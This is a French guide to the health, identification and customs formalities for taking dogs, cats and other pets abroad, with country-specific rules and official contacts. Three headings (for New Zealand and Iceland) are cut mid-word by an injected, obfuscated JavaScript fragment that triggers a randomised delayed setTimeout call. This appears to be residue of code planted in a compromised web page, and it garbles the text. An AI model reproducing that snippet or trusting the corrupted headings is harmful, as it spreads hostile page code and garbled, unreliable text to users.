Formalités aux frontières

Ne quitter le territoire de l’Union Européenne qu’avec un animal identifié, valablement vacciné contre la rage et présentant un résultat favorable au titrage.
Les démarches doivent être entreprises auprès du vétérinaire traitant au moins 3 mois avant le départ.

Consulter

Code zoosanitaire International pour animaux terrestres 2017

Organisation Mondiale de la Santé Animale OIE

12 rue de Prony - 75017 PARIS

01 44 15 18 88

oie@oie.int

www.oie.int

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Exp@don

Recherche en ligne des conditions sanitaires et phytosanitaires d'exportation d’animaux, de produits animaux, conditions d'échanges intracommunautaires d'animaux de rente.

Recherche de certificats sanitaires pré-remplissables en ligne.

FranceAgriMer

12 rue Henri Rol-Tanguy TSA 20002 - 93555 MONTREUIL cedex

01 73 30 30 00

Corse / DOM-TOM

Corse, Guadeloupe, Martinique, Réunion

Identification, passeport.

Guyane

Identification, vaccin antirabique, passeport.

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Nouvelle-Calédonie, Polynésie Française

Identification, vaccin antirabique, passeport, certificat sanitaire international, titrage sérique,traitements antiparasitaires (externes et internes).

L’animal doit avoir résidé au moins six mois consécutif en France métropolitaine ou DOM.

Obligations supplémentaires

NOUVELLE-CALEDONIE

- Vaccinations chiens : contre maladie de Carré, hépatite, leptospirose, parvovirose, rubarth, para-influenza, Bordetella bronchiseptica.

- Vaccinations chats : coryza (calicivirose, rhino-trachéite), panleucopénie infectieuse, chlamydiose, leucose féline.

- Quarantaine : (10 jours) proche de Nouméa, permis d’importation

davar.sivap-qa@gouv.nc

www.davar.gouv.nc

____________________

POLYNESIE

- Autorisation préalable exigées

Service du Développement Rural Département de la Qualité Alimentaire et de l’Action Vétérinaire

BP 100 PAPEETE Tahiti

689 423 518

sdr.qaav@rural.gov.pf

__________

ATTENTION : Quarantaine La Polynésie ne dispose pas d’établissement de quarantaine. S’adresser avant le départ à :

Station de quarantaine agréée Office de la Normandie

61600 LE GRAIS

02 33 38 41 32

www.goldenwaypets.com.

___________

ANIMAUX D'ASSISTANCE

- Dispensés après examen par un vétérinaire sanitaire à l’aéroport.

www.biosecurite.gov.pf

Généralités

Les dispositions réglementaires concernant l’importation d’animaux peuvent être remises en cause par les Etats.

Contacter l’ambassade du pays destinataire, les conditions connues sont transmises à un vétérinaire traitant titulaire du mandat sanitaire, puis les documents doivent être validés par la Direction Départementale de la Protection des Populations DD(CS)PP.

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Coordonnées ambassades

www.diplomatie.gouv.fr/fr/ le-ministere-et-son-reseau/ annuaires-et-adresses-du- maedi/ambassades-et- consulats-etrangers/

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Douanes

Infos douane service

0811 204 444

ids@douane.finances.gouv.fr

www.douane.gouv.fr

___________

Organisation mondiale des Douanes

www.wcoomd.org/fr/

Rappels

L'introduction de carnivores domestiques de moins de 3 mois, non vaccinés contre la rage, est strictement interdite en France. Ni entrée, ni transit.

Exportation des animaux de moins de 3 mois dans un pays de l’UE,les conditions varient, consulter l’ambassade de France du pays de destination.

__________

IMPORTATION NAC

Poissons tropicaux décoratifs, amphibiens, reptiles, rongeurs, lagomorphes.

- Maximun : 5 spécimens.

- Certificat de bonne santé établi par un vétérinaire.

Oiseaux de compagnie

- Maximun : 5 spécimens.

- Vaccin avec au moins un rappel contre l’influenza aviaire 60 jours avant importation. Certificat sanitaire. Déclaration du propriétaire.

- Recherche PCR du virus H5N1 avec résultat négatif et isolement 30 jours. avant le départ. (décision 2007/25/CE)

__________

Liste des laboratoires sur :

http://www.diplomatie.gouv.fr/fr/ vivre-a-l-etranger/preparer-son- retour-en-france/les-formalites- douanieres/article/animaux- domestiques-retour-en

Ministères

Ministère de l'Agriculture et de l'Alimentation

251 rue de Vaugirard - 75732 PARIS cedex 15

__________

Service d’Inspection Vétérinaire et Phytosanitaire aux Frontières SIVEP

01 49 55 81 74

sivep.sdasei.dgal@ agriculture.gouv.fr

__________

Bureau de l’exportation pays tiers

01 49 55 58 18

Contact : M. OLLIVIER Boris

boris.ollivier@agriculture.gouv.fr

__________

Bureau des négociations européennes et multilatérales

01 49 55 80 02

Contact : Mme POIROT Julie

julie.poirot@agriculture.gouv.fr

__________

Bureau de l’identification et du contrôle des mouvements d’animaux

01 49 55 84 59

Contact : M. PRIMOT Pierre

pierre.primot@agriculture.gouv.fr

Ministère de la Transition Ecologique et Solidaire

Tour Séquoïa - 92055 PARIS LA DEFENSE Cedex

__________

Sous-direction de la protection et de la restauration des écosystèmes terrestres

01 40 81 90 84

cites@developpement- durable.gouv.fr

__________

CITES Convention sur le Commerce International des Espèces en Danger DRIEE

10 rue Crillon - 74504 PARIS

01 71 28 45 99

Urgence : 04 74 27 52 25

http://cites.application. developpement-durable.gouv.fr www.cites.org/fra

Permis import et exportation.

__________

Autorité scientifique CITES

MNHN Direction des Musées, jardins et zoos

57 rue Cuvier - 75005 PARIS cedex 5

01 40 79 48 31

Contact : Dr Vét. RIGOULET Jacques

jacques.rigoulet@mnhn.fr

Obligations générales

Accompagnement

L’animal peut voyager avec une personne autorisée munie d’une attestation écrite du propriétaire de l’animal.

Nombre maximal de chiens, chats, furets autorisés

Cinq, au-delà s’appliquent les dispositions lièes aux échanges commerciaux (visite vétérinaire dans les 48 h. précédant le voyage. Délivrance d’un certificat TRACES (TRAde Control and Expert System).

Primo-vaccination antirabique

Pour être reconnue valide elle devra être réalisée à partir de l’âge de 12 semaines.

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Les conditions sanitaires doivent être réalisées dans l’ordre

- Identification

- Vaccination

- Traitement anti-parasitaire

- Consignation dans le passeport

Rappel identification

Depuis le 3 juillet 2011, seule l‘identification par transpondeur est reconnue pour les échanges intracommunautaires de carnivores domestiques. Micropuce norme ISO 11784.

Le tatouage est reconnu s’il est accompagné de la preuve qu’il a été effectué avant le 3 juillet 2011.

Chiens dangereux

1ère catégorie :

- Interdits

2ème catégorie :

- Sous réserves

http://agriculture.gouv.fr/ animaux-de-compagnie- reglementation-des-chiens- dangereux

Passeport

Règlement CE 576/3013

Informations primo-vaccination antirabique :

- date de réalisation de la vaccination,

- date de validité intégrant le délai de mise en place de l'immunité (non requis si rappel),

- date de fin de validité de la vaccination et périodicité rappel.

- Signature : nom, adresse, téléphone, signature du vétérinaire obligatoires.

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Validation des documents

La légalisation du Certificat de vaccination, du Certificat sanitaire international est souvent exigée.

__________

Ministère Affaires Etrangères Bureau de légalisation

57 boulevard des Invalides - 75007 PARIS

01 53 69 38 29

bureau.legalisation@ diplomatie.gouv.fr

lundi - vendredi 8h30 à 13h15.

Pays dispensés de titrage sérique

Andorre, Argentine, Antigua, Aruba, Australie, Barbade, Bahrein, Belarus, Bermudes, Bosnie-Herzégovine, Canada, Chili, Curaçao, Emirats Arabes Unis, Fédération de Russie, Hong- Kong, Iles : d’Ascension, Bonnaire, Caïmans, Falkland, Féroé, Fidji, Gibraltar, Groenland, Mariannes du nord, Saba, Saint-Eustache, Vierges Britanniques, Islande, Jamaïque, Japon, Liechtenstein, Macédoine, Malaisie, Mayotte, Maurice, Mexique, Monaco, Montserrat, Norvège, Nlle- Calédonie, Nouvelle-Zélande, Polynésie française, Sainte-Hélène, Saint-Kitts-et-Nevis, Sainte-Lucie, Saint-Pierre-et-Miquelon, Saint-Vincent et les Grenadines, San Marin, Saint-Martin, Singapour, Suisse, Taïwan, Trinidad et Tobago, USA (y compris Guam, Samoa américaines, Mariannes du Nord, Porto-Rico, Iles Vierges américaines), Vanuatu, Vatican, Wallis-et-Futuna.

Liste évolutive établie par la Commission Européenne. Règlement CE n°998/2003

Obligations générales

Animaux de plus de 3 mois

IDENTIFICATION

- Puce électronique ou tatouage (avant le 3/7/2011)

__________

VACCINATION

- Antirabique en cours de validité.

__________

PASSEPORT

- Attestant la vaccination antirabique.

__________

CONSEILLE

- Titrage sérique

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Obligations supplémentaires : Australie, Nouvelle-Zéldom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}ande

Australie : importation 180 jours après le titrage sérique, pour la Nouvelle-Zélande : 90 jours.

Australie : Les femelles ne peuvent être enceintes de plus de 30 jours, pour la Nouvelle-Zélande : 42 jours.

Titrage sérique

Traitement parasite interne : en 2 fois : 30 jours avant le départ et 5 jours avant, idem pour les parasites externes : 30 jours et 2 jours avant le départ.

Examen clinique 5 jours avant départ et Certificat sanitaire international.

Autorisation d’importation, 6 semaines avant le départ.

Quarantaine 10 jours minimun. S’assurer de la réservation dans le centre de quarantaine.

Chiens : dépistage de Brucella, Ehrlichia et leptospire, Maladie de Carré, parvovirose, toux des chiens.

Vaccins chats : coryza, de plus la Nouvelle-Zélande exige : panleucopénie féline, calicivirus

Infos complémentaires : Australie

Démarches pas à pas sur :

www.agriculture.gov.au/animal

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Infos complémentaires : Nouvelle-Zéldom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}ande

Démarches pas à pas sur :

www.mpi.govt.nz/importing/ live-animals/pets/steps-to- importing-cats-and-dogs

__________

Nombreuses formalités, il est conseillé de s’adresser à un importateur.

Furets interdits à l’importation.

Contacter un vétérinaire officiel au moins 72 h. avant l’arrivée.

animalimports@mpi.govt.nz

www.mpi.govt.nz

__________

Permis sanitaire d'importation :

http://www.mpi.govt.nz/ importing/live-animals/pets/ forms-and-templates/

Infos complémentaires : Hong-Kong

Animaux de plus de 5 mois, Autorisation préalable

Vaccins - chiens : maladie de Carré, hépatite infectieuse, parvovirose,

chats : calicivirus, rhinotrachéite, panleucopénie

Certificat de santé de moins de 14 jours.

Certificat du transporteur.

Certificat de résidence : 180 jours dans le pays de provenance

Chiens dangereux interdits.

www.afcd.gov.hk

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Infos complémentaires : Isldom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}ande

Quarantaine.

Permis d’importation exigé.

www.mast.is

Infos complémentaires : Japon

Titrage anticorps antirabiques 6 mois avant l’importation.

Vaccination effectuée plus de deux fois.

Certificat vétérinaire 48h avant le départ.

Déclaration préliminaire import 40 jours avant le départ.

Quarantaine peut aller jusqu’à 180 jours.

www.maff.go.jp/aqs/english/ animal/im_index.html

Infos complémentaires : Maurice

Permis importation, 3 mois avant le départ.

moa-dvs@mail.gov.mu

Titrage sérique.

Chiens : test d’ehrlichiose, brucella canis.

Chats : vaccin panleucopénie, calicivirus, rhinotrachéite.

Traitements antiparasitaires externes et internes.

Quarantaine de 5 jours.

www.govmu.org

Infos complémentaires : Norvège

Chiens vermifugation contre le ténia (praziquantel, epsiprantel) 24h à 120h avant l’arrivée.

www.mattilsynet.no

Infos complémentaires : Singapore

Licence d’importation (AVA).

Certificat vétérinaire.

Titrage sérique 6 mois avant exportation.

Vaccins chiens : maladie de Carré, hépatite infectieuse, parvovirose.

Vaccins chats : calicivirus, rhinotrachéite, panleucopénie, chlamydophila.

Traitements parasites externes (2 à 10 jours avant départ) et internes (4 jours avant départ).

Quarantaine.

www.ava.gov.sg

Infos complémentaires : Suisse

Animaux caudectomisés et/ou otectomisés interdits.

Des exceptions sont faites pour des séjours de courte durée (par exemple : vacances).

La douane décide alors de la dérogation.

www.bvet.admin.ch

Infos complémentaires : Taïwan

Permis d’importation.

Titrage sérique.

Quarantaine.

https://pet-epermit.baphiq. gov.tw

Infos complémentaires : USA - Hawaï / Guam

HAWAI

Quarantaine.

rabiesfree@hawaii.gov

http://hdoa.hawaii.gov

__________

GUAM

Quarantaine.

http://ns.gov.gu

Pays tiers non indemne de rage

Obligations générales

IDENTIFICATION

Puce électronique ou tatouage (avant le 3/7/2011)

__________

VACCINATION

Antirabique en cours de validité

__________

CERTIFICAT SANITAIRE INTERNATIONAL

Etabli 10 jours avant le départ, bilingue, rédigé par un vétérinaire titulaire du Mandat Sanitaire, le certificat doit être accompagné des justificatifs concernant la vaccination et éventuellement le titrage.

__________

CONSEILLE

Titrage sérique et carnet de vaccination.

ll doit être effectué dans un laboratoire agréé (résultat égal ou supérieur à 0,5 Ul/ml), au moins 30 jours après la vaccination et au moins 3 mois avant l’importation sur l’animal identifié dont le vaccin antirarabique est valide. Ce délai ne s’applique pas en cas de réintroduction en UE si le titrage avait été réalisé avec un résultat favorable.

Le résultat du titrage est valide à vie si le vaccin antirabique est constamment validé.

Délai : 4 semaines environ, un exemplaire est adressé au vétérinaire et au propriétaire.

Obligations supplémentaires : Afrique du Sud

Autorisation d’importation (Veterinary Import Permit) 6 et 8 semaines avant départ

National Department of Agriculture - Veterinary Services

00 2712 319 7514

VetPermits@daff.gov.za

www.nda.agric.za

__________

Vaccination antirabique de plus de 30 jours, moins d’un an.

Hépatite de Rubarth, Maladie de Carré, Parovirose.

Traitement contre les filaires, examen clinique.

Tests de dépistage : Brucella canis, Dirofilaria immitis et Leishmania, Babesia gibsoni, Trypanosoma evansi.

Obligations supplémentaires : Arabie Saoudite

Seuls aurorisés : chiens de chasse, de garde, d’assistance.

Obligations supplémentaires : Emirats Arabes Unis

Permis d’importation.

Contacter l’ambassade.

01 44 34 02 00

http://uae-embassy.ae

Obligations supplémentaires : Chine

Quarantaine.

Certificat de santé de 24 à 72 h. avant le départ.

Un seul animal par personne.

Obligations supplémentaires : Madagascar

Autorisation d'importation sur papier libre à demander un mois à l'avance aux Services Vétérinaires

00 2612024 636 38

www.maep.gov.mg/elevage.htm

Obligations supplémentaires : Panama

Quarantaine au domicile si documents en règle, sinon aéroport.

01 45 66 42 44

ambassade.panama@orange.fr

Obligations supplémentaires : Maldives

Chiens interdits.

Royaume-Uni - Malte - Irlande - Finlande

Obligations générales

Pour moins de 5 animaux - animal d’au moins 3 mois.

IDENTIFICATION

- Par micropuce (normes ISO 11784 ou 11785).

__________

PASSEPORT

- Support de la vaccination contre la rage, délivré par un vétérinaire investi du mandat sanitaire.

__________

TRAITEMENT CONTRE l'ECHINOCCOCOSE

- (120 à 24 heures avant la date d’entrée). Le traitement doit être mentionné par le vétérinaire l’ayant administré (date, heure et cachet) sur le passeport (rubrique VII).

__________

ACHEMINEMENT

- Pour le Royaume-Uni et Malte : l’acheminement doit être effectué par moyens de transport autorisés.

- Accès par bateau ou avion privés non autorisé.

__________

CHIENS DE RACES DANGEREUSES INTERDITS

- Pitbull, tosa japonais, dogo argentino, fila brazilero, et chiens issus de croisements de ces races.

Informations complémentaires

ROYAUME-UNI

01 44 51 31 00

www.ahvla.defra.gov.uk

Pet Travel Scheme helpline

00 44 370 241 1710

pettravel@ahvla.gsi.gov.uk

____________________

IRLANDE

01 44 17 67 00

www.agriculture.gov.ie

____________________

MALTE

01 56 59 75 90

www.mva.org.mt

____________________

FINLANDE

01 44 18 19 20

www.evira.fi/portal/eu

Chiens dangereux

Interdits

Autres animaux

Rongeurs, oiseaux, reptiles, se renseigner auprès de l’ambassade du pays concerné. En aucun cas ces animaux ne doivent être destinés à la vente.

Titrage sérique

Laboratoires agrées

LVD de Haute-Garonne

CS 50013 - 31140 LAUNAGUET

05 62 10 49 00

ldv31@cg31.fr

__________

IOVALYS

128 rue de Beauge - 72018 LE MANS cedex 2

02 43 39 95 70

laboratoire@cg72.fr

__________

LDV du Pas-de-Calais

2 rue Genévriers - 62000 ARRAS

03 21 51 46 54

lda62@cg62.fr

__________

ANSES Laboratoire de la Rage et Faune Sauvage

BP 40009 - 54220 MALZEVILLE

03 83 29 89 50

https://eurl-rabies.anses.fr/

__________

Laboratoires homologués dans l’Union Européenne

http://ec.europa.eu/food/ animal/liveanimals/pets/ approval_en.htm

Union Européenne

Allemagne, Autriche, Belgique, Bulgarie, Chypre, Croatie, Danemark, Espagne, Estonie, France, Grèce, Hongrie, Italie, Lettonie, Lituanie, Luxembourg, Pays-Bas, Pologne, Portugal, République Tchèque, Roumanie, Slovaquie, Slovénie, Suède.

Sauf Irlande, Finlande, Royaume- Uni et Malte

Obligations générales

Identification

- Micropuce ou tatouage (avant le 3/7/2011).

_________

Vaccination antirabique

- En cours de validité primo-vaccination et rappels.

__________

Passeport

- Attestant l’identification et la vaccination antirabique, délivré par un vétérinaire habilité par l’autorité compétente.

Déplacement vers la France

Animaux de plus de 3 mois Mêmes mesures qu’au départ pour les animaux de retour :

- Identification, passeport, vaccination antirabique

- Titrage sérique selon pays

- Certificat sanitaire international de moins de 7 jours.

Si réintroduction sur le territoire de l’UE, le certificat peut-être remplacé par le passeport actualisé, sous réserve que ce document ait été renseigné avant la sortie de l’UE.

Importation de pays hors UE

http://vosdroits.service-public.fr/particuliers/ F20553.xhtml

__________

Rappel : Chiens dangereux interdits à l’importation en France.

Douanes : A l’arrivée en France, dans tous les cas, vous devez vous présenter au service douanier afin qu’il procède aux contrôles documentaires et d'identité de l'animal.